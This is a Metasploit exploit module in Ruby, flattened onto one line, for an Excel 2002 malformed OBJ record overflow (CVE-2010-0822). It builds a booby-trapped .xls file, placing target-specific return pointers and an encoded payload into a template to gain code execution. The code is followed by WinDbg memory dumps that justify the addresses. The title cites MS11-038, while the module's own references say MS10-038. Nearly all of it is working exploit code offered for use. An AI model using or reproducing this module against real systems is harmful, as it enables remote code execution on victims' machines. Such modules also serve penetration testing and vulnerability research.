Microsoft Excel – Malformed OBJ Record Handling Overflow (MS11-038) (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow", 'Description' => %q{ This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP. By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker can get the control of the excution flow. This results aribrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Initial discovery 'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB 24 exploit and binary analysis 'juan vazquez' # Metasploit ], 'References' => [ ['CVE', '2010-0822'], ['OSVDB', '65236'], ['BID', '40520'], ['MSB', 'MS10-038'], ['URL', 'http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/'] ], 'Payload' => { 'Space' => 4000 }, 'DefaultOptions' => { 'ExitFunction' => 'process', 'DisablePayloadHandler' => 'true' }, 'Platform' => 'win', 'Targets' => [ [ # This is the one that can be downloaded from MSDN 'Microsoft Office Excel 2002 10.2614.2625 Service Pack 0(Office XP) on Windows XP SP3', { 'ftCmoReserved' => 0x307d91ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data 'CraftedPointer' => 0x307d91a6, # Ptr to PtrToRet in the stored contents on Excel .data 'PtrToRet' => 0x307d908e, # Ptr to Ret - 11Ch 'Ret' => 0x30006113 # call ecx from Excel.exe 10.0.2614.0 } ], [ 'Microsoft Office Excel 2002 10.6501.6626 Service Pack 3 (Office XP SP3) on Windows XP SP3', { 'ftCmoReserved' => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data 'CraftedPointer' => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data 'PtrToRet' => 0x307de48e, # Ptr to Ret - 11Ch 'Ret' => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0 } ], ], 'Privileged' => false, 'DisclosureDate' => "Jun 8 2010", 'DefaultTarget' => 1)) register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.xls']) ], self.class) end def exploit path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2010-0822.xls') f = File.open(path, 'rb') template = f.read f.close buf = '' buf << template[0..35016] buf << [target['ftCmoReserved']].pack('V') buf << template[35021..36549] buf << [target['PtrToRet']].pack('V') buf << [target.ret].pack('V') buf << template[36558..36559] buf << [target['CraftedPointer']].pack('V') buf << template[36564..36609] buf << [target['CraftedPointer']].pack('V') # Pass the MSO_804() buf << template[36614..36639] buf << payload.encoded buf << template[40640..template.length] file_create(buf) end end =begin Memory analysis on Office XP SP2 'ftCmoReserved' => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data ------------------------------------------------------------------------------------------ 0:000> db 0x307de5ac 307de5ac 00 30 74 00 a6 e5 7d 30-4c 4c 00 55 6e 69 72 42 .0t...}0LL.UnirB 307de5bc 42 42 42 4c 00 48 50 44-6f 63 55 49 53 55 49 00 BBBL.HPDocUISUI. 307de5cc 54 72 75 65 00 52 65 73-6f 6c 75 74 69 6f 6e 00 True.Resolution. 307de5dc 36 30 30 64 70 69 a6 e5-7d 30 74 52 65 73 00 46 600dpi..}0tRes.F 307de5ec 61 6c 73 65 90 90 90 90-90 90 90 90 90 90 90 90 alse............ 307de5fc 90 90 90 90 41 41 41 41-41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA 307de60c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de61c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 'CraftedPointer' => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data ----------------------------------------------------------------------------------- 0:000> db 0x307de5a6 307de5a6 8e e4 7d 30 a5 61 00 30-74 00 a6 e5 7d 30 4c 4c ..}0.a.0t...}0LL 307de5b6 00 55 6e 69 72 42 42 42-42 4c 00 48 50 44 6f 63 .UnirBBBBL.HPDoc 307de5c6 55 49 53 55 49 00 54 72-75 65 00 52 65 73 6f 6c UISUI.True.Resol 307de5d6 75 74 69 6f 6e 00 36 30-30 64 70 69 [[a6 e5 7d 30]]* ution.600dpi..}0 307de5e6 74 52 65 73 00 46 61 6c-73 65 90 90 90 90 90 90 tRes.False...... 307de5f6 90 90 90 90 90 90 90 90-90 90 41 41 41 41 41 41 ..........AAAAAA 307de606 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de616 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA * => 0x307de5a6 + 0x3c => 0x307de5e2 'PtrToRet' => 0x307de48e, # Ptr to Ret - 11Ch --------------------------------------------- 307de48e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de49e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4ce 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4de 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4ee 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4fe 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de50e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de51e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de52e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de53e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de54e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de55e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de56e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de57e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de58e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de59e eb 60 6e 00 50 72 69 6e-8e e4 7d 30 [[a5 61 00 30]]* .`n.Prin..}0.a.0 307de5ae 74 00 a6 e5 7d 30 4c 4c-00 55 6e 69 72 42 42 42 t...}0LL.UnirBBB 307de5be 42 4c 00 48 50 44 6f 63-55 49 53 55 49 00 54 72 BL.HPDocUISUI.Tr 307de5ce 75 65 00 52 65 73 6f 6c-75 74 69 6f 6e 00 36 30 ue.Resolution.60 307de5de 30 64 70 69 a6 e5 7d 30-74 52 65 73 00 46 61 6c 0dpi..}0tRes.Fal 307de5ee 73 65 90 90 90 90 90 90-90 90 90 90 90 90 90 90 se.............. 307de5fe 90 90 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ..AAAAAAAAAAAAAA 307de60e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de61e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de62e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de63e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de64e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de65e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de66e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de67e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA * 0x307de48e + 0x11c => 0x307de48e 'Ret' => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0 ---------------------------------------------------------- EXCEL!Ordinal41+0x61a5: 300061a5 ffd1 call ecx 300061a7 e00b loopne EXCEL!Ordinal41+0x61b4 (300061b4) 300061a9 c1536689 rcl dword ptr [ebx+66h],89h 300061ad 46 inc esi 300061ae 2a8d8574ffff sub cl,byte ptr [ebp-8B7Bh] 300061b4 ff5068 call dword ptr [eax+68h] 300061b7 1200 adc al,byte ptr [eax] 300061b9 0400 add al,0 =end |